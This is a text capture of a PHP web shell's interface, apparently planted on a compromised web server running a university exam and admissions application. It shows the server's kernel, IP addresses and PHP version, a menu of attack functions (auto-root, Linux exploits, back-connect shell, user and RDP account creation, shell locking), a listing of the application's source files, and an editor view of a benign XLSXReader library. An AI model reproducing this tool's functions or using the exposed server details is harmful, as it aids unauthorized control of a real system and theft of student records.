Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.21.105.46
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
dud /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
system
[ DIR ]
drwxr-xr-x
Dispatch_ans_script_setup.php
5.84
KB
-rwxr-xr-x
Dispatch_ans_script_setup_qp.p...
5.18
KB
-rwxr-xr-x
DownloadExamAppFormApplication...
5.12
KB
-rwxr-xr-x
ECHblk.php
11.05
KB
-rwxr-xr-x
ECHblk_10122018.php
10.26
KB
-rwxr-xr-x
FormulaEvaluate.php
14.15
KB
-rwxr-xr-x
MC_033_S1720418_A_2017_2.pdf
0
B
-rwxr-xr-x
MarkEntry-Setup.php
26.29
KB
-rwxr-xr-x
MarkEntry-Setup22.php
21.76
KB
-rwxr-xr-x
MarkEntry-SetupTEST.php
21.01
KB
-rwxr-xr-x
PrintApplicationFormPOSTOFFICE...
26.92
KB
-rwxr-xr-x
TAGMAY2013.pdf
331.03
KB
-rwxr-xr-x
TarkaFormatStyles.php
15.37
KB
-rwxr-xr-x
TarkaFormatStyles_old.php
3.71
KB
-rwxr-xr-x
XLSXReader.php
9.31
KB
-rwxr-xr-x
absent_entry_setup.php
8.13
KB
-rwxr-xr-x
absent_entry_setupQp.php
7.17
KB
-rwxr-xr-x
absent_entry_setupQpold.php
7.03
KB
-rwxr-xr-x
ack_adm_application.php
55.29
KB
-rwxr-xr-x
ack_adm_application_06102018.p...
48.96
KB
-rwxr-xr-x
ack_admentry_application.php
57.97
KB
-rwxr-xr-x
ack_admentry_application_06102...
31.48
KB
-rwxr-xr-x
ack_exam_app_form.php
16.6
KB
-rwxr-xr-x
ack_exam_app_form_19112018.php
16.1
KB
-rwxr-xr-x
ack_exam_app_form_bulk.php
12.58
KB
-rwxr-xr-x
ack_exam_app_form_oldformat.ph...
12.53
KB
-rwxr-xr-x
ack_registration.php
7.77
KB
-rwxr-xr-x
ack_report.php
2.27
KB
-rwxr-xr-x
ack_rv_rt_application.php
8.52
KB
-rwxr-xr-x
ack_rv_rt_application_before_l...
6.02
KB
-rwxr-xr-x
actClass.php
6.21
KB
-rwxr-xr-x
adm_challan_entries.php
13.83
KB
-rwxr-xr-x
adm_delete_data.php
5.58
KB
-rwxr-xr-x
admapprove.php
10.33
KB
-rwxr-xr-x
admchallanpreparation.php
8.81
KB
-rwxr-xr-x
admission_entry_reg.php
39.89
KB
-rwxr-xr-x
admission_entry_status.php
2.73
KB
-rwxr-xr-x
admission_sms_push.php
2.26
KB
-rwxr-xr-x
admissionapplist.php
5.06
KB
-rwxr-xr-x
admsumsendsms.php
6.12
KB
-rwxr-xr-x
admuploadexsheet.php
12.51
KB
-rwxr-xr-x
ansbookcancel.php
9.49
KB
-rwxr-xr-x
answer_book_issued.php
10.34
KB
-rwxr-xr-x
applicationFormReportPOSTOFFIC...
25.94
KB
-rwxr-xr-x
approve.php
37.59
KB
-rwxr-xr-x
attendance.php
10.23
KB
-rwxr-xr-x
attendance_freez.php
8.45
KB
-rwxr-xr-x
attendance_freez_mth.php
8.24
KB
-rwxr-xr-x
attendance_freez_old.php
8.55
KB
-rwxr-xr-x
attshort.php
6.29
KB
-rwxr-xr-x
auto-complete.php
4.89
KB
-rwxr-xr-x
backup.js
2.73
KB
-rwxr-xr-x
backup.php
2.74
KB
-rwxr-xr-x
backup_restore.php
8.14
KB
-rwxr-xr-x
backupandrestore.php
10.18
KB
-rwxr-xr-x
basic_old.css
13.33
KB
-rwxr-xr-x
batch_close.php
4.31
KB
-rwxr-xr-x
boeselection.php
1.64
KB
-rwxr-xr-x
bundle_dispatch.php
3.09
KB
-rwxr-xr-x
bundlereceive.php
1.08
KB
-rwxr-xr-x
bundlestatus.php
5.3
KB
-rwxr-xr-x
cManualMailer.php
2.54
KB
-rwxr-xr-x
caccesscontext.php
1.24
KB
-rwxr-xr-x
candidate-entry.php
45.51
KB
-rwxr-xr-x
candidate-entry_new.php
42.85
KB
-rwxr-xr-x
candidate-entry_without_iapr_i...
34.88
KB
-rwxr-xr-x
candidate-entrybefore yearexam...
34.55
KB
-rwxr-xr-x
candidate-entrykus.php
33.23
KB
-rwxr-xr-x
candidate-entrynewformat.php
44.16
KB
-rwxr-xr-x
candidate-entryold.php
34.55
KB
-rwxr-xr-x
cappcontext.php
2.6
KB
-rwxr-xr-x
cconfig_wait.php
1.12
KB
-rwxr-xr-x
challan_entries.php
15.38
KB
-rwxr-xr-x
challan_preparation.php
11.69
KB
-rwxr-xr-x
changeDegree.php
1.56
KB
-rwxr-xr-x
changeMobile.php
2.13
KB
-rwxr-xr-x
cmailer.php
6.83
KB
-rwxr-xr-x
cntDeclaration.php
4.12
KB
-rwxr-xr-x
code39.php
6.38
KB
-rwxr-xr-x
collbankdet.php
1.82
KB
-rwxr-xr-x
colldesp_ack.php
4
KB
-rwxr-xr-x
college.php
5.01
KB
-rwxr-xr-x
college_BEFORE_LOGINPOPUP.php
3.5
KB
-rwxr-xr-x
college_approve.php
5.61
KB
-rwxr-xr-x
college_degree_status.php
5.65
KB
-rwxr-xr-x
collfundtransfer.php
1.37
KB
-rwxr-xr-x
connect.php
2.11
KB
-rwxr-xr-x
convdet.php
8.02
KB
-rwxr-xr-x
convdet_24122019.php
7.34
KB
-rwxr-xr-x
coutput.php
1.76
KB
-rwxr-xr-x
createAdmission.php
3.94
KB
-rwxr-xr-x
create_all_grid_files.php
8.57
KB
-rwxr-xr-x
create_all_grid_group_files.ph...
9.94
KB
-rwxr-xr-x
create_all_grid_group_files_ol...
9.61
KB
-rwxr-xr-x
create_all_popup_files.php
5.93
KB
-rwxr-xr-x
create_all_schema_files.php
4.31
KB
-rwxr-xr-x
create_all_views.php
16.52
KB
-rwxr-xr-x
create_html_files.php
52.03
KB
-rwxr-xr-x
create_html_files_without_tab....
44.49
KB
-rwxr-xr-x
create_module_meta_columns.php
5.16
KB
-rwxr-xr-x
crequestbroker.php
2.49
KB
-rwxr-xr-x
cronjob_sendsms.php
2.94
KB
-rwxr-xr-x
csessions.php
514
B
-rwxr-xr-x
cuser.php
3.41
KB
-rwxr-xr-x
custom_mregistry.php
122
B
-rwxr-xr-x
datadictionary.php
3.96
KB
-rwxr-xr-x
daterange.php
7.36
KB
-rwxr-xr-x
degree.php
6.49
KB
-rwxr-xr-x
display_details_in_grid.php
105.25
KB
-rwxr-xr-x
display_details_in_grid22.php
104.95
KB
-rwxr-xr-x
display_details_in_grid_custom...
2.61
KB
-rwxr-xr-x
display_details_in_grid_studta...
96.56
KB
-rwxr-xr-x
display_details_in_grid_withde...
97.45
KB
-rwxr-xr-x
display_details_in_gridold.php
102.19
KB
-rwxr-xr-x
doc_verify.php
6.99
KB
-rwxr-xr-x
downloadFeeStatement.php
5.32
KB
-rwxr-xr-x
download_misc_files.php
4.1
KB
-rwxr-xr-x
download_misc_files_28022019.p...
3.63
KB
-rwxr-xr-x
download_misc_files_old.php
4.3
KB
-rwxr-xr-x
download_photo.php
4.38
KB
-rwxr-xr-x
download_photo22.php
6.83
KB
-rwxr-xr-x
download_photo_new.php
4.82
KB
-rwxr-xr-x
download_photo_sikkim.php
5.07
KB
-rwxr-xr-x
download_photoold.php
3.58
KB
-rwxr-xr-x
download_upload.php
3.86
KB
-rwxr-xr-x
dynamicmastersdetails.php
117.45
KB
-rwxr-xr-x
dynamicmastersdetails_one.php
119.36
KB
-rwxr-xr-x
entryexitevents.php
3.09
KB
-rwxr-xr-x
execute_query.php
2.5
KB
-rwxr-xr-x
export_import_setup.php
7.62
KB
-rwxr-xr-x
export_import_utility.php
2.67
KB
-rwxr-xr-x
format.php
7.43
KB
-rwxr-xr-x
freeze_Ad_Cl_Me.php
6.63
KB
-rwxr-xr-x
freeze_module_at_admin_college...
10.07
KB
-rwxr-xr-x
freeze_module_at_admin_college...
7.76
KB
-rwxr-xr-x
freeze_module_at_admin_college...
7.81
KB
-rwxr-xr-x
freeze_module_at_university_co...
7.45
KB
-rwxr-xr-x
freezeiaprici.php
9.9
KB
-rwxr-xr-x
general_report_format_old.php
11
KB
-rwxr-xr-x
getAutoCompleteFromFrameWork_o...
2.97
KB
-rwxr-xr-x
getdata.php
34.6
KB
-rwxr-xr-x
getdata22.php
32.91
KB
-rwxr-xr-x
getdataold.php
28.7
KB
-rwxr-xr-x
getfeeinformation.php
7.03
KB
-rwxr-xr-x
getfeeinformation_bulk.php
7.52
KB
-rwxr-xr-x
getmoduledetails.php
23.59
KB
-rwxr-xr-x
getnumword.php
7.43
KB
-rwxr-xr-x
getreportdetails.php
3.21
KB
-rwxr-xr-x
getreportfilefordisplay.php
1.37
KB
-rwxr-xr-x
getsearchcondition.php
1.3
KB
-rwxr-xr-x
ggridmodel.php
9.27
KB
-rwxr-xr-x
golden_palm_payslip.php
12.48
KB
-rwxr-xr-x
helptext.php
5.38
KB
-rwxr-xr-x
identify_transactions.php
6.4
KB
-rwxr-xr-x
import_marks.php
4.11
KB
-rwxr-xr-x
index.php
5.06
KB
-rwxr-xr-x
json.php
33.72
KB
-rwxr-xr-x
krvw.html
1.5
KB
-rwxr-xr-x
login.php
13.6
KB
-rwxr-xr-x
login_BEFORE_LOGINPOPUP.php
3.25
KB
-rwxr-xr-x
login_moh.php
11.96
KB
-rwxr-xr-x
login_old.php
3.15
KB
-rwxr-xr-x
mascomb.php
10.02
KB
-rwxr-xr-x
mcverifydet.php
14.26
KB
-rwxr-xr-x
message_board.php
4.7
KB
-rwxr-xr-x
messagetext.php
980
B
-rwxr-xr-x
module_setup.php
2.48
KB
-rwxr-xr-x
mregistry.php
89.91
KB
-rwxr-xr-x
mregistry_07122019.php
88.71
KB
-rwxr-xr-x
mregistry_10082018.php
80.91
KB
-rwxr-xr-x
mregistry_beforedownload.php
53.04
KB
-rwxr-xr-x
mrn_approval.php
9
KB
-rwxr-xr-x
payment_gateway.php
7.78
KB
-rwxr-xr-x
pclzip.lib.php
192.53
KB
-rwxr-xr-x
photoupload.php
9.28
KB
-rwxr-xr-x
post.php
5.03
KB
-rwxr-xr-x
post_25102019.php
1.47
KB
-rwxr-xr-x
printexamform.php
11.54
KB
-rwxr-xr-x
push_data_to_studentportal.php
1.8
KB
-rwxr-xr-x
receive_rv_rt_application.php
8.57
KB
-rwxr-xr-x
report_admission_ticket.php
46.77
KB
-rwxr-xr-x
report_hall_ticket.php
11.18
KB
-rwxr-xr-x
report_iamarks_pending.php
12.04
KB
-rwxr-xr-x
report_marks_entry_student_lis...
5.6
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
11.84
KB
-rwxr-xr-x
report_setup.php
25.12
KB
-rwxr-xr-x
report_tool.php
73.03
KB
-rwxr-xr-x
result.php
5.06
KB
-rwxr-xr-x
revaluation.php
16.66
KB
-rwxr-xr-x
revaluation_oldtype.php
8.45
KB
-rwxr-xr-x
revaluation_withdegree.php
16.77
KB
-rwxr-xr-x
room_allotment.php
7.89
KB
-rwxr-xr-x
room_allotment_datewise.php
15.51
KB
-rwxr-xr-x
room_allotment_datewise_271220...
15.22
KB
-rwxr-xr-x
room_allotment_datewise_mohan....
15.29
KB
-rwxr-xr-x
room_allotment_old.php
16.44
KB
-rwxr-xr-x
room_allotmentnew.php
9.24
KB
-rwxr-xr-x
room_allotmentold.php
15.27
KB
-rwxr-xr-x
roomdeclaration.php
1.81
KB
-rwxr-xr-x
rotation.php
596
B
-rwxr-xr-x
rvdates.php
6.46
KB
-rwxr-xr-x
sample.php
2.04
KB
-rwxr-xr-x
sendLoginPassword.php
3.09
KB
-rwxr-xr-x
sendsmsapi.php
814
B
-rwxr-xr-x
sendusrandpws.php
1002
B
-rwxr-xr-x
serchbygrid.php
822
B
-rwxr-xr-x
servfeehead.php
3.84
KB
-rwxr-xr-x
services.php
3.47
KB
-rwxr-xr-x
sfeehead.php
5.45
KB
-rwxr-xr-x
stringspliter.php
693
B
-rwxr-xr-x
stuIAMarksPending.php
5.92
KB
-rwxr-xr-x
student.php
55.85
KB
-rwxr-xr-x
student_14062018.php
43.9
KB
-rwxr-xr-x
student_entry.php
60.55
KB
-rwxr-xr-x
student_entry24.php
56.54
KB
-rwxr-xr-x
student_entry_14062018.php
48.28
KB
-rwxr-xr-x
student_entry_24112017.php
42.7
KB
-rwxr-xr-x
student_entryold.php
30.33
KB
-rwxr-xr-x
studentportal_remove.php
6.18
KB
-rwxr-xr-x
subjectList_display.php
11.05
KB
-rwxr-xr-x
subject_freshExam.php
18.98
KB
-rwxr-xr-x
subjectfreez.php
13.2
KB
-rwxr-xr-x
subjectwise_freezing_sectionwi...
9.95
KB
-rwxr-xr-x
system_utility.php
1.84
KB
-rwxr-xr-x
systemsetup.php
80.01
KB
-rwxr-xr-x
teachers.php
16.85
KB
-rwxr-xr-x
teachersOLD.php
10.33
KB
-rwxr-xr-x
teachersnew.php
16.83
KB
-rwxr-xr-x
transaction-series.php
4.86
KB
-rwxr-xr-x
updateSection.php
4.79
KB
-rwxr-xr-x
update_defined_flag.php
3.41
KB
-rwxr-xr-x
updateexamcnt.php
2.92
KB
-rwxr-xr-x
upload_studentPhoto.php
10.12
KB
-rwxr-xr-x
upload_studentPhoto_before_dow...
8.02
KB
-rwxr-xr-x
uploadmoduledetails.php
39.65
KB
-rwxr-xr-x
uploadzip.php
9.18
KB
-rwxr-xr-x
usersetup.php
25.11
KB
-rwxr-xr-x
usersetupold.php
24.36
KB
-rwxr-xr-x
usersubj_identification.php
4.88
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : XLSXReader.php
<?php /* XLSXReader Greg Neustaetter <gneustaetter@gmail.com> Artistic License XLSXReader is a heavily modified version of: SimpleXLSX php class v0.4 (Artistic License) Created by Sergey Schuchkin from http://www.sibvision.ru - professional php developers team 2010-2011 Downloadable here: http://www.phpclasses.org/package/6279-PHP-Parse-and-retrieve-data-from-Excel-XLS-files.html Key Changes include: Separation into two classes - one for the Workbook and one for Worksheets Access to sheets by name or sheet id Use of ZIP extension On-demand access of files inside zip On-demand access to sheet data No storage of XML objects or XML text When parsing rows, include empty rows and null cells so that data array has same number of elements for each row Configuration option for removing trailing empty rows Better handling of cells with style information but no value Change of class names and method names Removed rowsEx functionality including extraction of hyperlinks */ class XLSXReader { protected $sheets = array(); protected $sharedstrings = array(); protected $sheetInfo; protected $zip; public $config = array( 'removeTrailingRows' => true ); // XML schemas const SCHEMA_OFFICEDOCUMENT = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument'; const SCHEMA_RELATIONSHIP = 'http://schemas.openxmlformats.org/package/2006/relationships'; const SCHEMA_OFFICEDOCUMENT_RELATIONSHIP = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships'; const SCHEMA_SHAREDSTRINGS = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/sharedStrings'; const SCHEMA_WORKSHEETRELATION = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet'; public function __construct($filePath, $config = array()) { $this->config = array_merge($this->config, $config); $this->zip = new ZipArchive(); $status = $this->zip->open($filePath); if($status === true) { $this->parse(); } else { throw new Exception("Failed to open $filePath with zip error code: $status"); } } // get a file from the zip protected function getEntryData($name) { $data = $this->zip->getFromName($name); if($data === false) { throw new Exception("File $name does not exist in the Excel file"); } else { return $data; } } // extract the shared string and the list of sheets protected function parse() { $sheets = array(); $relationshipsXML = simplexml_load_string($this->getEntryData("_rels/.rels")); foreach($relationshipsXML->Relationship as $rel) { if($rel['Type'] == self::SCHEMA_OFFICEDOCUMENT) { $workbookDir = dirname($rel['Target']) . '/'; $workbookXML = simplexml_load_string($this->getEntryData($rel['Target'])); foreach($workbookXML->sheets->sheet as $sheet) { $r = $sheet->attributes('r', true); $sheets[(string)$r->id] = array( 'sheetId' => (int)$sheet['sheetId'], 'name' => (string)$sheet['name'] ); } $workbookRelationsXML = simplexml_load_string($this->getEntryData($workbookDir . '_rels/' . basename($rel['Target']) . '.rels')); foreach($workbookRelationsXML->Relationship as $wrel) { switch($wrel['Type']) { case self::SCHEMA_WORKSHEETRELATION: $sheets[(string)$wrel['Id']]['path'] = $workbookDir . (string)$wrel['Target']; break; case self::SCHEMA_SHAREDSTRINGS: $sharedStringsXML = simplexml_load_string($this->getEntryData($workbookDir . (string)$wrel['Target'])); foreach($sharedStringsXML->si as $val) { if(isset($val->t)) { $this->sharedStrings[] = (string)$val->t; } elseif(isset($val->r)) { $this->sharedStrings[] = XLSXWorksheet::parseRichText($val); } } break; } } } } $this->sheetInfo = array(); foreach($sheets as $rid=>$info) { $this->sheetInfo[$info['name']] = array( 'sheetId' => $info['sheetId'], 'rid' => $rid, 'path' => $info['path'] ); } } // returns an array of sheet names, indexed by sheetId public function getSheetNames() { $res = array(); foreach($this->sheetInfo as $sheetName=>$info) { $res[$info['sheetId']] = $sheetName; } return $res; } public function getSheetCount() { return count($this->sheetInfo); } // instantiates a sheet object (if needed) and returns an array of its data public function getSheetData($sheetNameOrId) { $sheet = $this->getSheet($sheetNameOrId); return $sheet->getData(); } // instantiates a sheet object (if needed) and returns the sheet object public function getSheet($sheet) { if(is_numeric($sheet)) { $sheet = $this->getSheetNameById($sheet); } elseif(!is_string($sheet)) { throw new Exception("Sheet must be a string or a sheet Id"); } if(!array_key_exists($sheet, $this->sheets)) { $this->sheets[$sheet] = new XLSXWorksheet($this->getSheetXML($sheet), $sheet, $this); } return $this->sheets[$sheet]; } public function getSheetNameById($sheetId) { foreach($this->sheetInfo as $sheetName=>$sheetInfo) { if($sheetInfo['sheetId'] === $sheetId) { return $sheetName; } } throw new Exception("Sheet ID $sheetId does not exist in the Excel file"); } protected function getSheetXML($name) { return simplexml_load_string($this->getEntryData($this->sheetInfo[$name]['path'])); } // converts an Excel date field (a number) to a unix timestamp (granularity: seconds) public static function toUnixTimeStamp($excelDateTime) { if(!is_numeric($excelDateTime)) { return $excelDateTime; } $d = floor($excelDateTime); // seconds since 1900 $t = $excelDateTime - $d; return ($d > 0) ? ( $d - 25569 ) * 86400 + $t * 86400 : $t * 86400; } } class XLSXWorksheet { protected $workbook; public $sheetName; protected $data; public $colCount; public $rowCount; protected $config; public function __construct($xml, $sheetName, XLSXReader $workbook) { $this->config = $workbook->config; $this->sheetName = $sheetName; $this->workbook = $workbook; $this->parse($xml); } // returns an array of the data from the sheet public function getData() { return $this->data; } protected function parse($xml) { $this->parseDimensions($xml->dimension); $this->parseData($xml->sheetData); } protected function parseDimensions($dimensions) { $range = (string) $dimensions['ref']; $cells = explode(':', $range); $maxValues = $this->getColumnIndex($cells[1]); $this->colCount = $maxValues[0] + 1; $this->rowCount = $maxValues[1] + 1; } protected function parseData($sheetData) { $rows = array(); $curR = 0; $lastDataRow = -1; foreach ($sheetData->row as $row) { $rowNum = (int)$row['r']; if($rowNum != ($curR + 1)) { $missingRows = $rowNum - ($curR + 1); for($i=0; $i < $missingRows; $i++) { $rows[$curR] = array_pad(array(),$this->colCount,null); $curR++; } } $curC = 0; $rowData = array(); foreach ($row->c as $c) { list($cellIndex,) = $this->getColumnIndex((string) $c['r']); if($cellIndex !== $curC) { $missingCols = $cellIndex - $curC; for($i=0;$i<$missingCols;$i++) { $rowData[$curC] = null; $curC++; } } $val = $this->parseCellValue($c); if(!is_null($val)) { $lastDataRow = $curR; } $rowData[$curC] = $val; $curC++; } $rows[$curR] = array_pad($rowData, $this->colCount, null); $curR++; } if($this->config['removeTrailingRows']) { $this->data = array_slice($rows, 0, $lastDataRow + 1); $this->rowCount = count($this->data); } else { $this->data = $rows; } } protected function getColumnIndex($cell = 'A1') { if (preg_match("/([A-Z]+)(\d+)/", $cell, $matches)) { $col = $matches[1]; $row = $matches[2]; $colLen = strlen($col); $index = 0; for ($i = $colLen-1; $i >= 0; $i--) { $index += (ord($col{$i}) - 64) * pow(26, $colLen-$i-1); } return array($index-1, $row-1); } throw new Exception("Invalid cell index"); } protected function parseCellValue($cell) { // $cell['t'] is the cell type switch ((string)$cell["t"]) { case "s": // Value is a shared string if ((string)$cell->v != '') { $value = $this->workbook->sharedStrings[intval($cell->v)]; } else { $value = ''; } break; case "b": // Value is boolean $value = (string)$cell->v; if ($value == '0') { $value = false; } else if ($value == '1') { $value = true; } else { $value = (bool)$cell->v; } break; case "inlineStr": // Value is rich text inline $value = self::parseRichText($cell->is); break; case "e": // Value is an error message if ((string)$cell->v != '') { $value = (string)$cell->v; } else { $value = ''; } break; default: if(!isset($cell->v)) { return null; } $value = (string)$cell->v; // Check for numeric values if (is_numeric($value)) { if ($value == (int)$value) $value = (int)$value; elseif ($value == (float)$value) $value = (float)$value; elseif ($value == (double)$value) $value = (double)$value; } } return $value; } // returns the text content from a rich text or inline string field public static function parseRichText($is = null) { $value = array(); if (isset($is->t)) { $value[] = (string)$is->t; } else { foreach ($is->r as $run) { $value[] = (string)$run->t; } } return implode(' ', $value); } }
Close